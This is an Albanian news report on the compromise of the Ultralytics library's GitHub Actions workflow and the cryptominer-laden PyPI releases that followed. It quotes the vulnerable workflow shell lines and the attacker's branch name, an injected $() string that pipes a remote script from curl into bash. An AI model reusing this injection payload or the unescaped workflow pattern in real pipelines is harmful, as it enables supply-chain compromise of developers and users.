K\u00ebrc\u00ebnuesit arrit\u00ebn t\u00eb ekzekutojn\u00eb kod me privilegje t\u00eb procesor\u00ebve GitHub Actions n\u00eb depozitarin e bibliotek\u00ebs Python Ultralytics, e cila p\u00ebrdoret p\u00ebr t\u00eb zgjidhur detyra n\u00eb vizionin kompjuterik, si\u00e7 jan\u00eb identifikimi i objekteve n\u00eb imazhe dhe segmentimi i imazheve. Pas marrjes s\u00eb qasjes n\u00eb depo, sulmuesit publikuan disa versionet e reja t\u00eb Ultralytics n\u00eb katalogun PyPI, duke p\u00ebrfshir\u00eb ndryshime t\u00eb d\u00ebmshme p\u00ebr minimin e kriptovalutave. Gjat\u00eb muajit t\u00eb fundit, biblioteka Ultralytics \u00ebsht\u00eb shkarkuar m\u00eb shum\u00eb se 6.4 milion her\u00eb nga katalogu PyPI. <\/p>\n
P\u00ebr kompromitimin e depozit\u00ebs u p\u00ebrdor nj\u00eb dob\u00ebsi n\u00eb paket\u00ebn ultralytics-actions, e cila p\u00ebrdoret p\u00ebr t\u00eb aktivizuar automatikisht trajtuesit kur ndodhin veprime t\u00eb caktuara me depozit\u00ebn n\u00eb GitHub, duke p\u00ebrdorur mekanizmin GitHub Actions. N\u00eb projektin ultralytics, trajtuesi i dob\u00ebt lidhej me ngjarjen pull_request_target dhe aktivizohej me prurjen e pull-request-eve t\u00eb reja. Sidomos, p\u00ebr formatimin e kodit n\u00eb pull-request-et e d\u00ebrguara aktivizohej trajtuesi format.yml dhe ekzekutohej kodi i specifikuar n\u00eb seksionin \"run\" t\u00eb skedarit action.yml, n\u00eb t\u00eb cilin ishin komandat shell me \u0448\u0430\u0431\u043b\u043e\u043d\u0438\u0442\u0435 e z\u00ebvend\u00ebsimit: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name \"${{ inputs.github_username }}\" git config --global user.email \"${{ inputs.github_email }}\" <\/p>\n
K\u00ebshtu, n\u00eb komandat shell pa nj\u00eb ekranuar t\u00eb duhur u vendos emri i deg\u00ebs Git, e p\u00ebrmendur n\u00eb pull-request. E r\u00ebnd\u00ebsishme \u00ebsht\u00eb se n\u00eb gusht, n\u00eb paket\u00ebn ultralytics-actions ishte korrigjoheshin nj\u00eb dob\u00ebsi e ngjashme, e lidhur me p\u00ebrdorimin e nj\u00eb vlera t\u00eb jashtme n\u00eb funksionin echo: echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\" <\/p>\n
P\u00ebr t\u00eb organizuar ekzekutimin e kodit t\u00eb tyre n\u00eb kontekstin e procesor\u00ebve GitHub Actions, sulmuesit d\u00ebrguan nj\u00eb k\u00ebrkes\u00eb pull n\u00eb depozitarin ultralytics, duke e vendosur si em\u00ebr t\u00eb deg\u00ebs: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
P\u00ebr rrjedhoj\u00eb, kur arriti nj\u00eb pull-request, n\u00eb kod u vendos vargu i caktuar nga sulmuesit \"$(\u2026)\" q\u00eb, gjat\u00eb aktivizimit t\u00eb m\u00ebvonsh\u00ebm t\u00eb trajtuesit, \u00e7oi n\u00eb ekzekutimin e kodit \"curl -sSfL raw.githubusercontent.com\/...\/file.sh | bash\".
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Ekzekutimi i kodit n\u00eb kontekstin e GitHub Actions mund t\u00eb p\u00ebrdoret p\u00ebr t\u00eb kapur tokenin e qasjes n\u00eb depo dhe t\u00eb dh\u00ebna t\u00eb tjera t\u00eb ndieshme. Si\u00e7 fitoi sulmuesit mund\u00ebsin\u00eb p\u00ebr t\u00eb formuar nj\u00eb version, pasi arrit\u00ebn t\u00eb ekzekutojn\u00eb kodin e tyre n\u00eb GitHub Actions, ende nuk \u00ebsht\u00eb e qart\u00eb, supozohet se kjo ndodhi fal\u00eb ndryshimit t\u00eb procesorit publish.yml (sulmuesit hoq\u00ebn kontrollin e llogaris\u00eb nga e cila lejohet publikimi i versioneve n\u00eb PyPI) dhe p\u00ebrdorimin e teknik\u00ebs s\u00eb helmimit t\u00eb caches nd\u00ebrtuese t\u00eb GitHub Actions p\u00ebr t\u00eb futur t\u00eb dh\u00ebnat e tyre n\u00eb version. <\/p>\n
![\"Nj\u00eb](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
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